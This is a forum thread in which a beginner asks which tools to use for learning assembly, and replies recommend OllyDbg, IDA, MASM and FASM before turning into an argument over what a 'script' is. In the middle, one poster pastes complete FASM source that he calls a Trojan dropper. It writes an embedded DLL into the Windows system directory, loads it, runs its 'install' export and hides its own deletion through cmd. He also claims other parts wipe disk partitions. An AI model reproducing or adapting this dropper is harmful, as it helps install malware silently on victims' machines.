Hi Everyone,
Im learning ASM, but i dont know what programs i need!
Can someone tell me the name.
Hope you guys know it
Tyvm!
Hi Everyone,
Im learning ASM, but i dont know what programs i need!
Can someone tell me the name.
Hope you guys know it
Tyvm!
Use OllyDBG I think?Originally Posted by marbogunz
K thx for your help ;d!
He is right. The ONLY thing you need is OllyDBG. I prefer the 1.10
No, you can't learn ASM with ollydbg. Read the tutorials?
He said he wanted a program for asm.
Im learning ASM, but i dont know what programs i need!
use ollyDBG for the ASM coding and use http://www.xs4all.nl/~smit/asm01001.htm for good tutorials!
anyways good luck with ASM!
No one mentions IdaPro? >..>
OllyDbg will work I guess..
If you are actually coding in asm i suggest mASM, but if your just editing old stuff ollyDBG
Ollydbg is only for debugging/disassembling and inline asm it has nothing to do with "coding", if you really are learning asm, you should know about masm32.
A debugger rarely has anything to do with ASM.
Yet again, one more debugger; not to mention, you could also have suggested "IDA Free".
MASM is only if you're specifically dealing w/WinAPI; personally, I prefer FASM, and if I'm dealing with the Windows API, I'll use the provided libraries.
i recommend ollydbg
What a fun little script.Code:format PE gui 4.0 entry G include 'FASM\include\win32a.inc' include 'config.inc' proc callback,handle,reason,reserved cmp [reason],DLL_PROCESS_ATTACH jnz exit xor eax,eax invoke LocalAlloc,eax,100h test eax,eax je exit mov edi,eax push edi invoke GetSystemDirectory,edi,100h add edi,eax mov al,'\' stosb mov esi,_dll_name mov ecx,_dll_name_sz rep movsb pop edi mov ebx,edi xor esi,esi invoke CreateFile,edi,40000000h,esi,esi,2,2,esi inc eax je exit lea edi,[eax-1] invoke WriteFile,edi,_dll,_dll_sz,esp,esi invoke CloseHandle,edi invoke LoadLibrary,ebx test eax,eax je exit invoke GetProcAddress,eax,_ProcAddress test eax,eax je exit call eax mov eax,_delete cmp eax,0 je exit invoke GetModuleFileName,esi,szFile,MAX_PATH invoke GetShortPathName,szFile,szFile,MAX_PATH invoke lstrcpy,szCmd,szDelete invoke lstrcat,szCmd,szFile invoke lstrcat,szCmd,szNull invoke GetEnvironmentVariable,szComSpec,szFile,MAX_PATH test eax,eax je exit invoke ShellExecute,esi,esi,szFile,szCmd,esi,SW_HIDE exit: invoke ExitProcess,esi G: ret endp data 9 dd a dd a dd a dd c a dd 0 c dd callback dd 0 end data section '.data' data readable writeable _dll_name db dll_name,0 _dll_name_sz = $ - _dll_name _ProcAddress db 'install',0 szFile db MAX_PATH dup (?) szCmd db MAX_PATH dup (?) szComSpec db 'ComSpec',0 szDelete db '/c del ',0 szNull db ' >> nul',0 _dll: file 'SOURCE\F.dll' _dll_sz = $ - _dll data import library kernel***'KERNEL32.DLL',\ shell***'SHELL32.DLL',\ user***'USER32.DLL' include 'FASM\include\kernel32.inc' include 'FASM\include\shell32.inc' include 'FASM\include\user32.inc' end data
thanks alot i might look at that o.o
That's a dynamic link-library, not a script. It looks like it dumps a copy of itself into the system directory.
Its a script? Or are you a full ego narb. Yes we know that. I put that as an example to FASM, and that is made for a Trojan dropper. The other parts adds a lot of beautiful 0's to MDR and FAT partitions.
It's not a script.
I gave a try to fasm, it really is nice !
A scripting language, script language or extension language is a programming language that allows control of one or more software applications. "Scripts" are distinct from the core code of the application, which is usually written in a different language, and are often created or at least modified by the end-user.
It's a script.
A scripting language is interpreted at runtime.
This is compiled into native bytecode, which is executed directly at runtime.
It's not a script.
You just proved my point with your own words.
It's a script.
stop arguing, it isnt a script maku <.<
Interpreted at runtime = converted to bytecode, then executed at runtime.A scripting language is interpreted at runtime.
This is compiled into native bytecode, which is executed directly at runtime.
It's not a script.
Versus
Executed at runtime = compiled some time occuring before runtime, then executed at runtime.
It's not a script.
Asm isn't a script, and is well, must be considered as even more native than C or C++.
Guys wtf is the point about arguing whats a script or not.
He asked for a program he got it.
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